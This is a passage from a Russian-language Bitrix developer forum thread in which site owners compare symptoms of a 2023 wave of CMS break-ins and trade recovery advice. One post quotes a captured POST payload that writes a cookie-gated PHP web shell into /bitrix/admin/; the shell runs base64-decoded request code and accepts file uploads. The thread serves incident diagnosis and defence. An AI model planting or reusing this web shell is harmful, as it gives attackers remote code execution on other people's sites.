Разработчикам

Форум

Взломаны сайты в честь дня конституции украины

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#361

21.02.2023 05:34:48

а вообще нужно обновляться до актуальной версии
все обратившиеся за помощью клиенты сидели на не обновлённом ядре
+ проект в git залить
тут придётся заливать вместе с ./bitrix/ т.к. туда бэкдоры и селятся, хотя его обычно исключают
далее
# git status - и все изменения как на ладони
и в случае взлома откатиться одной командой, типа
# git reset --hard HEAD

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 44943

Постоянный посетитель

Сообщений: 135 Баллов: 21 Регистрация: 03.07.2009

#362

21.02.2023 06:30:44

Цитата
написал: Врят ли в настройках, там рутовый доступ нужен, сломали скорее всего через старое ядро Битрикса. Обновления в Битриксе были установлены? Покажи .htaccess с корня

Нет сайт не обновлен и пока не знаю, есть ли возможность его обновить. К тому же сейчас почти все страницы админки 403 отдают. vote модуль кстати на том сайте есть, но он не установлен. Не знаю опять же возможен ли взлом через не установленный модуль. И самое интересно, что непонятно почему обычный скрипт php из корня и не задействующий битрикс ни каким боком тоже на отдает 403. Поэтому и думал, что м.б. и в сервере поменяли чего-нибудь. Это кстати только день назад случилось. До этого просто бекдор создавался и часть товара спам добавился.

Пользователь 49681 Посетитель Сообщений: 27 Баллов: 7 Регистрация: 29.09.2009	#363 0 22.02.2023 09:09:27 ага, взломали сайт без всяких модулей голосования, с обновлениями на Старте. Битрикс, похоже, положил хрен на CMS и занялся только Б24, таких глобальных взломов всех подряд сайтов раньше не было

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#364

22.02.2023 09:25:34

Цитата
Андрей Петров написал: ага, взломали сайт без всяких модулей голосования, с обновлениями на Старте. Битрикс, похоже, положил хрен на CMS и занялся только Б24, таких глобальных взломов всех подряд сайтов раньше не было

а вот это уже очень странно и волнительно!
какой хостинг? причину взлома нашли?

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 49681

Посетитель

Сообщений: 27 Баллов: 7 Регистрация: 29.09.2009

#365

22.02.2023 10:01:33

Цитата

написал:

Цитата
Андрей Петров написал: ага, взломали сайт без всяких модулей голосования, с обновлениями на Старте. Битрикс, похоже, положил хрен на CMS и занялся только Б24, таких глобальных взломов всех подряд сайтов раньше не было

а вот это уже очень странно и волнительно!
какой хостинг? причину взлома нашли?

сейчас восстанавливаем, ищем

Пользователь 5475720

Заглянувший

Сообщений: 1 Регистрация: 06.08.2021

#366

22.02.2023 16:43:44

Есть ли у кого-то, кроме меня, проблема с тем, что в папку /bitrix/admin/ пишутся файлы из набора символов в названии и какой-то код в index.php в той же папке? Из описанного ранее другими участниками, сделал все, что нашел. /bitrix/admin/inputs.php отсутствует, потому не могу понять, откуда ноги растут. Ощущение, будто по крону переписывается (хотя ни в кроне, ни в агентах нет ничего подозрительного), либо, когда на сайт заходишь. post запросов подозрительных тоже в логах нет. Еще, кстати, одной из побочек было удаление файлов include.php со всего сайта, благо есть гит и можно было все восстановить (папка bitrix, правда, не в гите, потому там руками пришлось).
Так вот, пока не обнаружил, каким макаром в папку /bitrix/admin/ пишутся файлы и перезаписывается индексный файл. Если кто нашел - поделитесь плз. Сам индексный файл пока просто костыльнул, поставив ему владельца рута и права на чтение

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#367

22.02.2023 17:28:32

попробуй по времени создания/модификации файлов которые создаются в /bitrix/admin/ в логах посмотреть - скорее всего POST запрос будет

других методов не знаю

если кто знает - поделитесь плиз

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 49681

Посетитель

Сообщений: 27 Баллов: 7 Регистрация: 29.09.2009

#368

22.02.2023 19:50:01

бля, а где прячутся битриксовцы?
Сайты ломают у разных пользователей на разных хостингах, проблема глобальная, а никаких ни советов, ни рекомендаций нет.
Как страусы спрятали головы в песок типа не видим проблемы, значит ее нет.
Уже год, то сайты федеральных министерств на битриксе вскрывают, теперь вот еще одна волна пошла.
Что творится-то, разработчики?

Пользователь 44943

Постоянный посетитель

Сообщений: 135 Баллов: 21 Регистрация: 03.07.2009

#369

23.02.2023 10:34:53

Цитата
написал: Есть ли у кого-то, кроме меня, проблема с тем, что в папку /bitrix/admin/ пишутся файлы из набора символов в названии

Да.

Цитата
написал: и какой-то код в index.php в той же папке?

Этого не было

Цитата
написал: Ощущение, будто по крону переписывается (хотя ни в кроне, ни в агентах нет ничего подозрительного), либо, когда на сайт заходишь. post запросов подозрительных тоже в логах нет.

Там не по крону. Прилетают два post запроса. В каждом переменная BX_TOKEN . Это закодированная строка. Посмотрите несколькими страницами ранее писали, что в несколько файлов в ядре добавили еще строки и они по ходу эти запросы дешифруют.

Пользователь 7075538

Заглянувший

Сообщений: 3 Регистрация: 26.02.2023

#370

26.02.2023 13:58:46

Цитата
написал: Есть ли у кого-то, кроме меня, проблема с тем, что в папку /bitrix/admin/ пишутся файлы из набора символов в названии

POST запрос прилетает:

Код

bitrixxx' => 'file_put_contents($_SERVER[\'DOCUMENT_ROOT\'].\'/bitrix/admin/3503a54cb17d.php\',\'<?=409723*20;if(md5($_COOKIE[d])==\x2217028f487cb2a84607646da3ad3878ec\x22){echo\x22ok\x22;eval(base64_decode($_REQUEST[id]));if($_POST[\x22up\x22]==\x22up\x22){@copy($_FILES[\x22file\x22][\x22tmp_name\x22],$_FILES[\x22file\x22][\x22name\x22]);}}?>\');'

Кроме этого еще два запроса POST передают BX_TOKEN и BX_STAT c хэшами.

Форум

Центр поддержки

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером